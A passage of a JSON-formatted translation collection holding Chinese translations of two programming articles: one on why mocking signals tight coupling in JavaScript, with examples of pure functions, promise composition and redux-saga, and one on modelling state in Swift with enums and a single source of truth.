来控制其依赖，例如，给依赖传递一个方法名给告诉依赖该做什么等。如果控制依赖的 API 改变了，该代码就将损坏。\n* **可变状态依赖**：代码之间共享了可变状态，例如，共享对象上的属性可以被改变。可变对象变化时序的改变将破坏依赖该对象的代码。如果时序是不定的，除非你对所有依赖单元来个彻底检修，否则就无法保证程序的正确性：一个例子就是当前存在一个无法修缮的竞态紊乱。修复了某个 bug 可能又造成其他单元出现 bug。\n* **状态形态依赖**：代码之间共享了数据结构，并且只用了结构的一个子集。如果共享的结构发生了变化，那么依赖于这个结构的代码也会损坏。\n* **事件/消息 耦合**：各个单元间的代码通过消息传递、事件等进行通信。\n\n### 什么造成了紧耦合？\n\n紧耦合有许多成因：\n\n* **可变性** 与 **不可变性**\n* **副作用** 与 **纯度/隔离副作用**\n* **职责过重** 与 **单一职责（只做一件事：DOT —— Do One Thing）**\n* **过程式指令** 与 **描述性结构**\n* **命令式组合** 与 **声明式组合**\n\n相较于函数式代码，命令式以及面向对象代码更易遭受紧耦合问题。这并非是说函数式编程风格能让你的代码免于紧耦合困扰，只是函数式代码使用了纯函数作为组合的基本单元，并且纯函数天然不易遭受紧耦合问题。\n\n纯函数：\n\n* 给定相同输入，总是返回相同输出\n* 不产生副作用\n\n纯函数是如何减少耦合的？\n\n* **不可变性：**纯函数不会改变现有的值，它总是返回新的值。\n* **没有副作用：**纯函数唯一可观测的作用就是它的返回值，因此，也就不会和其他观测了外部变量的函数交互，例如屏幕、DOM、控制台、标准输出、网络以及磁盘。\n* **单一职责：**纯函数只完成一件事：映射输入到对应的输出，避免了职责过重时污染对象以及基于类的代码。\n* **结构，而非指令：**纯函数可以被安全地记忆（memoized），这意味着，如果系统有无限的内存，任何纯函数都能够被替代为一个查找表，该查找表的索引是函数输入，其在表中检索到的值即为函数输出。换言之，纯函数描述了数据间的结构关系，而不是计算机需要遵从的指令，所以在同一时间运行两套不同的有冲突的指令也不会造成问题。\n\n### 组合能为模拟做什么？\n\n一切皆可。软件开发的实质是一个将大的问题划分为若干小的、独立的问题（分解），再组合各个小问题的解决方式来构成应用去解决大问题（合成）的过程。\n\n> 当我们的分解策略失败时，我们才需要模拟。\n\n当测试单元把大问题分解为若干相互依赖的小问题时，我们需要引入模拟。换句话说，**如果我们假定的原子测试单元并不是真正原子的，那么就需要模拟**，此时，分解策略也没能将大的问题划分为小的、独立的问题。\n\n当分解成功时，就能使用一个通用的组合工具来组合分解结果。例如下面这些：\n\n* **函数组合**：例如有 `lodash/fp/compose`\n* **组件组合**：例如 React 中使用函数组合来组合高阶组件\n* **状态 store/model 组合**：例如 [Redux combineReducers](http://redux.js.org/docs/api/combineReducers.html)\n* **过程组合**：例如 transducer\n* **Promise 或者 monadic 组合**：例如 `asyncPipe()`，使用 `composeM()`、`composeK()` 的 Kleisli 组合。\n* 等等\n\n当你使用通用组合工具时，组合的每个元素都可以在不模拟其它的情况下进行独立的单元测试。\n\n组合自身将是声明式的，所以它们包含了 **0 个可单元测试的逻辑** （可以假定组合工具是一个自己有单元测试的第三方库）。\n\n在这些条件下，使用单元测试是没有意义的，你需要使用集成测试替代之。\n\n我们用一个大家熟悉的例子来比较命令式和声明式的组合：\n\n```js\n// 函数组合\n// import pipe from 'lodash/fp/flow';\nconst pipe = (...fns) => x => fns.reduce((y, f) => f(y), x);\n// 待组合函数\nconst g = n => n + 1;\nconst f = n => n * 2;\n// 命令式组合\nconst doStuffBadly = x => {\n  const afterG = g(x);\n  const afterF = f(afterG);\n  return afterF;\n};\n// 声明式组合\nconst doStuffBetter = pipe(g, f);\nconsole.log(\n  doStuffBadly(20), // 42\n  doStuffBetter(20) // 42\n);\n```\n\n函数组合是将一个函数的返回值应用到另一个函数的过程。换句话说，你创建了一个函数管道（pipeline），之后向管道传入了一个值，这个值将流过每个函数，这些函数就像是流水线上的某一步，在传入下一个函数之前，这个值都会以某种方式被改变。最终，管道中的最后一个函数将返回最终的值。\n\n```js\ninitialValue -> [g] -> [f] -> result\n```\n\n在每个主流编程语言中，无论这门语言是什么范式，组合都是组织应用代码的主要手段。甚至连 Java 也是使用函数（方法）作为两个不同类实例间传递消息的机制。\n\n你可以手动地组合函数（命令式的），也可以自动地组合函数（声明式的）。在非函数第一类（first-class functions）语言中，你别无选择，只能以命令式的方式来组合函数。但在 JavaScript 中（以及其他所有主流语言中），你可以使用声明式组合来更好地组织代码。\n\n命令式编程风格意味着我们正在命令计算机一步步地做某件事。这是一种如何做（how-to）的引导。在上面的例子中，命令式风格就像在说：\n\n1. 接受一个参数并将它分配给 `x`。\n2. 创建一个叫做 `afterG` 的绑定，将 `g(x)` 的结果分配给它。\n3. 创建一个叫做 `afterF` 的绑定，将 `f(afterG)` 的结果分配给它。\n4. 返回 `afterF` 的结果。\n\n命令式风格的组合要求组合中牵涉的逻辑也要被测试。虽然我知道这里只有一些简单的赋值操作，但是我常在我传递或者返回错误的变量时，看到过（并且自己也写过）bug。\n\n声明式风格的组合意味着我们告诉计算机事物之间的关系。它是一个使用了等式推理（[equational reasoning](http://www.haskellforall.com/2013/12/equational-reasoning.html)）的结构描述。声明式的例子就像在说：\n\n* `doStuffBetter` **是** 函数 `g` 和 `f` 的管道化组合。\n\n仅此而已。\n\n假定 `f` 和 `g` 都有它们自己的单元测试，并且 `pipe()` 也有其自己的单元测试（在 Lodash 中是 [`flow()`](https://lodash.com/docs/4.17.2#flow)，在 Ramda 中是 [`pipe()`](http://ramdajs.com/docs/#pipe)），所以就没有需要进行单元测试的新的逻辑。\n\n为了让声明式组合正确工作，我们组合的单元需要被 **解耦**。\n\n### 我们如何消除耦合？\n\n为了去除耦合，我们首先需要对于耦合来源有更好的认识。下面罗列了一些耦合的主要来源，它们被按照耦合的松紧程度进行了排序：\n\n紧耦合：\n\n* 类继承（耦合随着每一层继承和每一个子孙类而倍增）\n* 全局变量\n* 其他可变的全局状态（浏览器 DOM、共享存储、网络等等）\n* 引入了包含副作用的模块\n* 来自组合的隐式依赖，例如在 `const enhancedWidgetFactory = compose(eventEmitter, widgetFactory, enhancements);` 中，`widgetFactory` 依赖了 `eventEmitter`\n* 依赖注入容器\n* 依赖注入参数\n* 控制变量（一个外部单元控制了主题单元该做什么事）\n* 可变参数\n\n松耦合：\n\n* 引入的模块不包含副作用（在黑盒测试中，不是所有引入的模块都需要进行隔离）\n* 消息的传递/发布订阅\n* 不可变参数（在状态形态中，仍然会造成共享依赖）\n\n讽刺的是，多数耦合恰恰来自于最初为了减少耦合所做的设计中。但这是可以理解的，为了能够将小问题的解决方案重新组成完整的应用，单元彼此就需要以某种方式进行集成或者通信。方式有好的，也有不好的。只要有必要，就应当规避紧耦合产生的来源，一个健壮的应用更需要的是松耦合。\n\n对于我将依赖注入容器和依赖注入参数划分到 “紧耦合” 分组中，你可能感到疑惑，因为在许多书上或者是博客上，它们都被分到了 “松耦合” 一组。耦合不是个是非问题，它描述了一种程度。所以，任何分组都带有主观和独断色彩。\n\n对于耦合松紧界限的划分，我有一个立见分晓的检验方法：\n\n测试单元是否能在不引入模拟依赖的前提下进行测试？如果不行，那么测试单元就 **紧耦合** 于模拟依赖。\n\n你的测试单元依赖越多，越可能存在耦合问题。现在我们明白了耦合是怎么发生的，我们可以做什么呢？\n\n1. **使用纯函数** 来作为组合的原子单元，而不是类、命令式过程或者包含可变对象的函数。\n2. **隔离副作用** 与程序逻辑。这意味着不要将逻辑和 I/O（包括有网络 I/O、渲染的 UI、日志等等）混在一起。\n3. **去除命令式组合中的依赖逻辑** ，这样组合能够变为自身不需要单元测试的、声明式的组合。如果组合中不含逻辑，就不需要被单元测试。\n\n以上几点意味着那些你用来建立网络请求和操纵请求的代码都不需要单元测试，它们需要的是集成测试。\n\n再唠叨一下：\n\n> **不要对 I/O 进行单元测试。**\n\n> **I/O 针对于集成测试。**\n\n在集成测试中，模拟和伪造（fake）都是完全 OK 的。\n\n### 使用纯函数\n\n纯函数的使用需要多加练习，在缺乏练习的情况下，如何写一个符合预期的纯函数不会那么清晰明了。纯函数不能直接改变全局变量以及传给它的参数，如网络对象、磁盘对象或者是屏幕对象。纯函数唯一能做的就是返回一个值。\n\n如果你向纯函数传入了一个数组或者一个对象，并且你要返回对象或者数组变化了的版本，你不要直接改变并返回它们。你应当创建一个满足对应变化的对象拷贝。对此，你可以考虑使用数组的[访问器方法](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/prototype) (**而不是** 可变方法，例如 `Array.prototype.spilce`、`Array.prototype.sort` 等)，或在 `Object.assign()` 中新创建一个空对象作为目标对象，再或者使用数组或者对象的展开语法。例子如下：\n\n```js\n// 非纯函数\nconst signInUser = user => user.isSignedIn = true;\nconst foo = {\n  name: 'Foo',\n  isSignedIn: false\n};\n// Foo 被改变了\nconsole.log(\n  signInUser(foo), // true\n  foo              // { name: \"Foo\", isSignedIn: true }\n);\n```\n\n与：\n\n```js\n// 纯函数\nconst signInUser = user => ({...user, isSignedIn: true });\nconst foo = {\n  name: 'Foo',\n  isSignedIn: false\n};\n// Foo 没有被改变\nconsole.log(\n  signInUser(foo), // { name: \"Foo\", isSignedIn: true }\n  foo              // { name: \"Foo\", isSignedIn: false }\n);\n```\n\n又或者，你可以选择一个针对于不可变对象类型的第三方库，例如 [Mori](http://swannodette.github.io/mori/) 或者是 [Immutable.js](https://facebook.github.io/immutable-js/)。我希望有朝一日，在 JavaScript 中，有类似于 Clojure 中的不可变数据类型，但我可等不到那会儿了。\n\n你可能觉得返回新的对象会造成一定的性能开销，因为我们创建了新对象，而不是直接重用现有对象，但是一个利好是我们可以使用严格比较（也叫相同比较：identity equality）运算符（`===` 检查）来检查对象是否发生了改变，这时，我们不再需要遍历整个对象来检测其是否发生了改变。\n\n这个技巧可以让你的 React 组件有一个复杂的状态树时渲染更快，因为你可能不需要在每次渲染时进行状态对象的深度遍历。继承 `PureComponent` 组件，它通过状态（state）和属性（prop）的浅比较实现了 `shouldComponentUpdate()`。当它检测到对象相同时，它便知道对应的状态子树没有发生改变，因此也就不会再进行状态的深度遍历。\n\n纯函数也能够记忆化（memoized），这意味着如果接收到了相同输入，你不需要再重复构建完整对象。利用内存和存储，你可以将预先计算好的结果存入一张查找表中，从而降低计算复杂度。对于开销较大、但不会无限需求内存的计算任务来说，这个是非常好的优化策略。\n\n纯函数的另一个属性是，由于它们没有副作用，就能够在拥有大型集群的处理器上安全地使用一个分治策略来部署计算任务。该策略通常用在处理图像、视频或者声音帧，具体说来就是利用服务于图形学的 GPU 并行计算，但现在这个策略有了更广的使用，例如科学计算。\n\n换句话说，可变性不总是很快，某些时候，其优化代价远远大于优化受益，因此还会让性能变慢。\n\n### 隔离副作用与程序逻辑\n\n有若干策略能帮助你将副作用从逻辑中隔离出来，下面罗列了当中的一些：\n\n1. 使用发布/订阅（pub/sub）来将 I/O 从视图和程序逻辑中解耦出来。避免直接在 UI 视图或者程序逻辑中调用副作用，而应当发送一个事件或者描述了事件或意图的动作（action）对象。\n2. 将逻辑从 I/O 中隔离出来，例如，使用 `asyncPipe()` 来组合那些返回 promise 的函数。\n3. 使用对象来描述未来的计算而不是直接使用 I/O 来驱动计算，例如 [redux-saga](https://github.com/redux-saga/redux-saga) 中的 `call()` 不会立即调用一个函数。取而代之的是，它会返回一个包含了待调用函数引用及所需参数的对象，saga 中间件则会负责调用该函数。这样，`call()` 以及所有使用了它的函数都是**纯函数**，这些函数不需要模拟，从而也利于单元测试。\n\n#### 使用 pub/sub 模型\n\npub/sub 是 publish/subscribe（发布/订阅） 模式的简写。在该模式中，测试单元不会直接调用彼此。取而代之的是，他们发布消息到监听消息的单元（订阅者）。发布者不知道是否有单元会订阅它的消息，订阅者也不知到是否有发布者会发布消息。\n\npub/sub 模式被内置到了文档对象模型（DOM）中了。你应用中的任何组件都能监听到来自 DOM 元素分发的事件，例如鼠标移动、点击、滚动条事件、按键事件等等。回到每个人都使用 jQuery 构建 web 应用的时代，经常见到使用 jQuery 来自定义事件使 DOM 转变为一个 pub/sub 的 event bus，从而将视图渲染这个关注点从状态逻辑中解耦出来。\n\npub/sub 也内置到了 Redux 中。在 Redux 中，你为应用状态（被称为 store）创建一个全局模型。视图和 I/O 操作没有直接修改模型（model），而是分派一个 action 对象到 store。一个 action 有一个称之为 `type` 的属性，不同的 reducer 按照该属性进行监听及响应。另外，Redux 支持中间件，它们也可以监听并且响应特殊的 action 类型。这种方式下，你的视图不需要知道你的应用状态是如何被操纵的，状态逻辑也不需要知道关于视图的任何事。\n\n通过中间件，也能够轻易地打包新的特性到 dispatcher 中，从而驱动[横切关注点（cross-cutting concerns）](https://www.wikiwand.com/en/Cross-cutting_concern)，例如对 action 的日志/分析，使用 storage 或者 server 来同步状态，或者加入 server 和网络节点的实时通信特性。\n\n#### 将逻辑从 I/O 中隔离\n\n有时，你可以使用 monad 组合（例如组合 promise）来减少你组合当中的依赖。例如，下面的函数因为包含了逻辑，你就不得不模拟所有的异步函数才能进行单元测试：\n\n```js\nasync function uploadFiles({user, folder, files}) {\n  const dbUser = await readUser(user);\n  const folderInfo = await getFolderInfo(folder);\n  if (await haveWriteAccess({dbUser, folderInfo})) {\n    return uploadToFolder({dbUser, folderInfo, files });\n  } else {\n    throw new Error(\"No write access to that folder\");\n  }\n}\n```\n\n我们写一些帮助函数伪代码来让上例可工作：\n\n```js\nconst log = (...args) => console.log(...args);\n// 下面这些可以无视，在真正的代码中，你会使用真实数据\nconst readUser = () => Promise.resolve(true);\nconst getFolderInfo = () => Promise.resolve(true);\nconst haveWriteAccess = () => Promise.resolve(true);\nconst uploadToFolder = () => Promise.resolve('Success!');\n// 随便初始化一些变量\nconst user = '123';\nconst folder = '456';\nconst files = ['a', 'b', 'c'];\nasync function uploadFiles({user, folder, files}) {\n  const dbUser = await readUser({ user });\n  const folderInfo = await getFolderInfo({ folder });\n  if (await haveWriteAccess({dbUser, folderInfo})) {\n    return uploadToFolder({dbUser, folderInfo, files });\n  } else {\n    throw new Error(\"No write access to that folder\");\n  }\n}\nuploadFiles({user, folder, files})\n  .then(log)\n;\n```\n\n我们使用 `asyncPipe()` 来完成 promise 组合，实现对上面业务的重构：\n\n```js\nconst asyncPipe = (...fns) => x => (\n  fns.reduce(async (y, f) => f(await y), x)\n);\nconst uploadFiles = asyncPipe(\n  readUser,\n  getFolderInfo,\n  haveWriteAccess,\n  uploadToFolder\n);\nuploadFiles({user, folder, files})\n  .then(log)\n;\n```\n\n因为 promise 内置有条件分支，因此，例子中的条件逻辑可以被轻松移除了。由于逻辑和 I/O 无法很好地混合在一起，因此我们想要从依赖 I/O 的代码中去除逻辑。\n\n为了让这样的组合工作，我们需要保证两件事：\n\n1. `haveWriteAccess()` 在用户没有写权限时需要 reject。这能让分支逻辑转到 promise 上下文中，我们不需要单元测试，也无需担忧分支逻辑（promise 本身拥有 JavaScript 引擎支持的测试）。\n2. 这些函数都接受并且 resolve 某个数据类型。我们可以创建一个 `pipelineData` 类型来完成组合，该类型只是一个包含了如下 key 的对象：`{ user, folder, files, dbUser?, folderInfo? }`。它创建一个在各个组件间共享的结构依赖，在其它地方，你可以使用这些函数更加泛化的版本，并且使用一个轻量的包裹函数标准化这些函数。\n\n当这些条件满足了，就能很轻松地、相互隔离地、脱离模拟地测试每一个函数。因为我们已经将组合管道中的所有逻辑抽出了，单元测试也就不再需要了，此时应当登场的是集成测试。\n\n> 牢记：**逻辑和 I/O** 是相互隔离的关注点。\n> 逻辑是思考，副作用（I/O）是行为。三思而后行！\n\n#### 使用对象来描述未来计算\n\nredux-saga 所使用的策略是使用对象来描述未来计算。该想法类似于返回一个 monad，不过它不总是必须返回一个 monad。monad 能够通过链式操作来组合函数，但是你可以手动的使用命令式风格代码来组合函数。下面的代码大致展示了 redux-saga 是如何做到用对象描述未来计算的：\n\n```js\n// console.log 的语法糖，一会儿我们会用它\nconst log = msg => console.log(msg);\nconst call = (fn, ...args) => ({ fn, args });\nconst put = (msg) => ({ msg });\n// 从 I/O API 引入的\nconst sendMessage = msg => Promise.resolve('some response');\n// 从状态操作句柄或者 reducer 引入的\nconst handleResponse = response => ({\n  type: 'RECEIVED_RESPONSE',\n  payload: response\n});\nconst handleError = err => ({\n  type: 'IO_ERROR',\n  payload: err\n});\n\nfunction* sendMessageSaga (msg) {\n  try {\n    const response = yield call(sendMessage, msg);\n    yield put(handleResponse(response));\n  } catch (err) {\n    yield put(handleError(err));\n  }\n}\n```\n\n如你所见，所有的单元测试中的函数调用都没有模拟网络 API 或者调用任何副作用。这样做的好处还有：你的应用将很容易 debug，而不用担心不确定的网络状态等等......\n\n当一个网络错误出现时，想要去模拟看看应用里将发生什么？只需要调用 `iter.throw(NetworkError)`\n\n另外，一些库的中间件将驱动函数执行，从而在应用的生产环境触发副作用：\n\n```js\nconst iter = sendMessageSaga('Hello, world!');\n// 返回一个反映了状态和值的对象\nconst step1 = iter.next();\nlog(step1);\n/* =>\n{\n  done: false,\n  value: {\n    fn: sendMessage\n    args: [\"Hello, world!\"]\n  }\n}\n*/\n```\n\n从 `call()` 中解构出 value，来审查或者调用未来计算：\n\n```js\nconst { value: {fn, args }} = step1;\n```\n\n副作用只会在中间件中运行。当你测试和 debug 时你可以跳过这一部分。\n\n```js\nconst step2 = fn(args);\nstep2.then(log); // 将打印一些响应\n```\n\n\b如果你不想在使用模拟 API 或者执行 http 调用的前提下模拟一个网络的响应，你可以直接传递模拟的响应到 `.next()` 中：\n\n```js\niter.next(simulatedNetworkResponse);\n```\n\n接下来，你可以继续调用 `.next()` 直到返回对象的 `done` 变为 `true`，此时你的函数也会结束运行。\n\n在你的单元测试中使用生成器（generator）和计算描述，你可以模拟任何事物**而不需要**调用副作用。你可以传递值给 `.next()` 调用以伪造响应，也可以使用迭代器对象来抛出错误从而模拟错误或者 promise rejection。\n\n即便牵涉到的是一个复杂的、混有大量副作用的集成工作流，使用对象来描述计算，都让单元测试不再需要任何模拟了。\n\n### “代码异味” 是警告，而非定律。模拟并非恶魔。\n\n使用更优架构的努力是好的，但在现实环境中，我们不得不使用他人的 API，并且与遗留代码打交道，大部分这些 API 都是不纯的。在这些场景中，隔离测试替身是很有用的。例如，express 通过连续传递来传递共享的可变状态和模型副作用。\n\n我们看到一个常见例子。人们告诉我 express 的 server 定义文件需要依赖注入，不然你怎么对所有在 express 应用完成的工作进行单元测试？例如：\n\n```js\nconst express = require('express');\nconst app = express();\napp.get('/', function (req, res) {\n  res.send('Hello World!')\n});\napp.listen(3000, function () {\n  console.log('Example app listening on port 3000!')\n});\n```\n\n为了 “单元测试” **这个文件**，我们不得不逐步建立一个依赖注入的解决策略，并在之后传递所有事物的模拟到里面（可能包括 `express()` 自身）。如果这是一个非常复杂的文件，包含了使用了不同 express 特性的请求句柄，并且依赖了逻辑，你可能已经想到一个非常复杂的伪造来让测试工作。我已经见过开发者构建了精心制作的伪造（fake）和模拟（mock），例如 express 中的 session 中间件、log 操纵句柄、实时网络协议，应有尽有。我从自己面对模拟时的艰苦卓绝中得出了一个简单的道理：\n\n> 这个文件不需要单元测试。\n\nexpress 应用的 server 定义主要着眼于应用的 **集成**。测试一个 express 的应用文件从定义上来说也就是测试程序逻辑、express 以及各个操作句柄之间的集成度。即便你已经完成了 100% 的单元测试，也不要跳过集成测试。\n\n你应当隔离你的程序逻辑到分离的单元，并分别对它们进行单元测试，而不应该直接单元测试这个文件。为 server 文件撰写真正的集成测试，意味着你确实接触到了真实环境的网络，或者说至少借助于 [supertest](https://github.com/visionmedia/supertest) 这样的工具创建了一个真实的 http 消息，它包含了完成的头部信息。\n\n接下来，我们重构 Hello World 的 express 例子，让它变得更可测试：\n\n将 `hello` 句柄放入它自己的文件，并单独对其进行单元测试。此时，不再需要对应用的其他部分进行模拟。显然，`hello` 不是一个纯函数，因此我们需要模拟响应对象来保证我们能够调用  `.send()`。\n\n```js\nconst hello  = (req, res) => res.send('Hello World!');\n```\n\n你可以像下面这样来测试它，也可以用你喜欢的测试框架中的期望（expectation）语句来替换 `if`：\n\n```js\n{\n  const expected = 'Hello World!';\n  const msg = `should call .send() with ${ expected }`;\n  const res = {\n    send: (actual) => {\n      if (actual !== expected) {\n        throw new Error(`NOT OK ${ msg }`);\n      }\n      console.log(`OK: ${ msg }`);\n    }\n  }\n  hello({}, res);\n}\n```\n\n将监听句柄也放入它自己的文件，并单独对其进行单元测试。我们也将面临相同的问题，express 的句柄不是纯函数，所以我们需要模拟 logger 来保证其能够被调用。测试与前面的例子类似。\n\n```js\nconst handleListen = (log, port) => () => log(`Example app listening on port ${ port }!`);\n```\n\n现在，留在 server 文件中的只剩下集成逻辑了：\n\n```js\nconst express = require('express');\nconst hello = require('./hello.js');\nconst handleListen = require('./handleListen');\nconst log = require('./log');\nconst port = 3000;\nconst app = express();\napp.get('/', hello);\napp.listen(port, handleListen(port, log));\n```\n\n你仍然需要对该文件进行集成测试，单多余的单元测试不再能够提升你的用例覆盖率。我们用了一些非常轻量的依赖注入来把 logger 传入 `handleListen()`，当然，express 应用可以不需要任何的依赖注入框架。\n\n### 模拟很适合集成测试\n\n由于集成测试是测试单元间的协作集成的，因此，在集成测试中伪造 server、网络协议、网络消息等等来重现所有你会在单元通信时、CPU 的跨集群部署及同一网络下的跨机器部署时遇到的环境。\n\n有时，你也想测试你的单元如何与第三方 API 进行通信，这些 API 想要进行真实环境的测试将是代价高昂的。你可以记录真实服务下的事务流，并通过伪造一个 server 来重现这些事务，从而测试你的单元和第三方服务运行在分离的网络进程时的集成度。通常，这是测试类似 “是否我们看到了正确的消息头？” 这样诉求的最佳方式。\n\n目前，有许多集成测试工具能够节流（throttle）网络带宽、引入网络延迟、创建网络错误，如果没有这些工具，是无法用单元测试来测试大量不同的网络环境的，因为单元测试很难模拟通信层。\n\n如果没有集成测试，就无法达到 100% 的用例覆盖率。即便你达到了 100% 的单元测试覆盖率，也不要跳过集成测试。有时 100% 并不真的是 100%。\n\n### 接下来\n\n* 在 Cross Cutting Concerns 播客上学习为什么我认为[每一个开发团队都需要使用 TDD]((https://crosscuttingconcerns.com/Podcast-061-Eric-Elliott-on-TDD)。\n* JavaScript 啦啦队正在记录[我们在 Instagram 上的探险](https://www.instagram.com/js_cheerleader/)。\n\n## 需要 JavaScript 进阶训练吗？\n\nDevAnyWhere 能帮助你最快进阶你的 JavaScript 能力，如组合式软件编写，函数式编程一节 React：\n\n- 直播课程\n- 灵活的课时\n- 一对一辅导\n- 构建真正的应用产品\n\n[![https://devanywhere.io/](https://cdn-images-1.medium.com/max/800/1*pskrI-ZjRX_Y0I0zZqVTcQ.png)](https://devanywhere.io/)\n\n**Eric Elliott** 是  [**“编写 JavaScript 应用”**](http://pjabook.com) （O’Reilly） 以及 [**“跟着 Eric Elliott 学 Javascript”**](http://ericelliottjs.com/product/lifetime-access-pass/) 两书的作者。他为许多公司和组织作过贡献，例如 **Adobe Systems**、**Zumba Fitness**、**The Wall Street Journal**、**ESPN** 和 **BBC** 等 , 也是很多机构的顶级艺术家，包括但不限于 **Usher**、**Frank Ocean** 以及 **Metallica**。\n\n大多数时间，他都在 San Francisco Bay Area，同这世上最美丽的女子在一起。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/modelling-state-in-swift.md",
    "content": "\n> * 原文地址：[Modelling state in Swift](https://www.swiftbysundell.com/posts/modelling-state-in-swift)\n> * 原文作者：[John](https://twitter.com/johnsundell)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/modelling-state-in-swift.md](https://github.com/xitu/gold-miner/blob/master/TODO/modelling-state-in-swift.md)\n> * 译者：[Deepmissea](http://deepmissea.blue)\n> * 校对者：[atuooo](http://atuo.xyz)\n\n# 模块化 Swift 中的状态\n\n在构建应用或设计系统的时候，最困难的事情之一就是如何建模并处理状态。当应用的某些部分处于我们意料之外的状态时，管理状态的代码也是一个非常常见的 bug 来源。\n\n这周，让我们看一看能更容易处理并响应状态改变的编码技术 - 让代码更加强壮，不容易出错。在本文中，我不会讨论具体的框架或者更大的应用程序架构范围的更改（比如 RxSwift、ReSwift 或者使用 ELM 风格的架构，我会在之后讨论它们）。相反的，我会专注于小的技巧、窍门和模式，那些真正有用的东西。\n\n## 单一数据源\n\n建立各种状态模型时的一个重要原则就是尽量保持**单一的数据源**。看它是否单一的简单方法是永远不需要检查**多个条件**来决定你的状态是什么。让我们看个栗子。\n\n假设我们在做一个游戏，某个敌人会有一个确定的血量，也会有一个标志来决定他们是否在游戏中。我们可能会构建一个 `Enemy` 类，用两个属性来表示，像这样：\n\n```\nclass Enemy {\n    var health = 10\n    var isInPlay = false\n}\n```\n\n虽然上面代码看起来很直观，但很容易让我们处于一种有多种数据来源的情况。假如一旦敌人的血量到零，就不应该在游戏中。所以在我们的代码中，有一些逻辑来处理：\n\n```\nfunc enemyDidTakeDamage() {\n    if enemy.health <= 0 {\n        enemy.isInPlay = false\n    }\n}\n```\n\n在我们引入新的代码路径时，忘记执行上述检查，就会发生问题。例如，我们可能给我们的玩家一个特殊的攻击，立即将所有敌人的血量清零：\n\n```\nfunc performSpecialAttack() {\n    for enemy in allEnemies {\n        enemy.health = 0\n    }\n}\n```\n\n就如你在上面看到的一样，我们更新了所有敌人的 `health` 属性，但是我们忘记了更新 `isInPlay` 属性。这很可能导致一堆 bug，并使我们最终陷入一个未定义的状态。\n\n这种情况下，通过添加多重检查来修复这个问题也许很诱人，像这样：\n\n```\nif enemy.isInPlay && enemy.health > 0 {\n    // Enemy is *really* in play\n} else {\n    // Enemy is *really* defeated\n}\n```\n\n虽然作为一个临时的“邦迪式”解决方案会正常工作，但它很快就会导致代码更难阅读，随着我们添加更多条件和更复杂的状态，它们更脆弱。如果你仔细思考，会觉得做一些像上面的事情有点像不相信我们自己的 API，因为我们不得不对他们进行这样的防御式编码 😕\n\n这个问题的解决方案之一，就是确保我们有单一的数据源，在 `Enemy` 类里面，对 `health` 使用一个 `didSet`，自动更新 `isInPlay` 属性：\n\n```\nclass Enemy {\n    var health = 10 {\n        didSet { putOutOfPlayIfNeeded() }\n    }\n\n    // Important to only allow mutations of this property from within this class\n    private(set) var isInPlay = true\n\n    private func putOutOfPlayIfNeeded() {\n        guard health <= 0 else {\n            return\n        }\n\n        isInPlay = false\n        remove()\n    }\n}\n```\n这样我们就只需要关心敌人血量的更新，我们可以确保 `isInPlay` 属性会永远的保持同步。\n\n## 让状态彼此独立\n\n上面 `Enemy` 的例子实在太简单，所以我们看一下另一个有着更复杂状态的例子，每个状态都有关联值，我们需要相应的渲染并响应。\n\n假设我们正构建一个视频播放器，它可以让我们从一个确定的 URL 下载并观看视频。要模块化一个视频，我们使用一个 `struct`，像这样：\n\n```\nstruct Video {\n    let url: URL\n    var downloadTask: Task?\n    var file: File?\n    var isPlaying = false\n    var progress: Double = 0\n}\n```\n\n上面的问题是，我们最终有太多的选择，我们无法通过阅读视频模块代码来告诉我们视频的状态具体在哪一步。最终，我们还通常编写复杂的处理，包括在理想情况下不该输入的代码路径：\n\n```\nif let downloadTask = video.downloadTask {\n    // Handle download\n} else if let file = video.file {\n    // Perform playback\n} else {\n    // Uhm... what to do here? 🤔\n}\n```\n解决这种问题，我经常使用一个 `enum` 来定义非常清晰的、独占的状态，像这样：\n\n```\nstruct Video {\n    enum State {\n        case willDownload(from: URL)\n        case downloading(task: Task)\n        case playing(file: File, progress: Double)\n        case paused(file: File, progress: Double)\n    }\n\n    var state: State\n}\n```\n\n如上你所看到的，我们已经把所有的选择都删除了，所有状态特定值现在都被并入了他们被使用的状态当中。我们可以通过引入另一个级别的状态来进一步摆脱重复的信息：\n\n```\nextension Video {\n    struct PlaybackState {\n        let file: File\n        var progress: Double\n    }\n}\n```\n\n我们可以使用 `playing` 和 `paused` 条件来判断状态：\n\n```\ncase playing(PlaybackState)\ncase paused(PlaybackState)\n```\n\n## 响应式渲染\n\n可是，如果你开始像上面那样对状态进行建模，但继续编写命令式状态处理代码（使用多个 `if/else` 语句，像上面那样），那事情就会非常丑陋。由于我们需要的所有信息都是“隐藏”在各种条件之下，所以我们需要做很多 `switch` 或 `if case let` 语句来“获得它”。\n\n我们需要把枚举状态与响应式状态处理代码结合起来。举个栗子，让我们看一看如何编码来更新一个视频播放视图控制器中的操作按钮：\n\n```\nclass VideoPlayerViewController: UIViewController {\n    var video: Video {\n        // Every time the video changes, we re-render\n        didSet { render() }\n    }\n\n    fileprivate lazy var actionButton = UIButton()\n\n    private func render() {\n        renderActionButton()\n    }\n\n    private func renderActionButton() {\n        let actionButtonImage = resolveActionButtonImage()\n        actionButton.setImage(actionButtonImage, for: .normal)\n    }\n\n    private func resolveActionButtonImage() -> UIImage {\n        // The image for the action button is declaratively resolved\n        // directly from the video state\n        switch video.state {\n            // We can easily discard associated values that we don't need\n            // by simply omitting them\n            case .willDownload:\n                return .wait\n            case .downloading:\n                return .cancel\n            case .playing:\n                return .pause\n            case .paused:\n                return .play\n        }\n    }\n}\n```\n\n现在每次播放状态改变，我们的 UI 都会自动更新。我们有单一数据源，并且没有未定义的状态 🎉 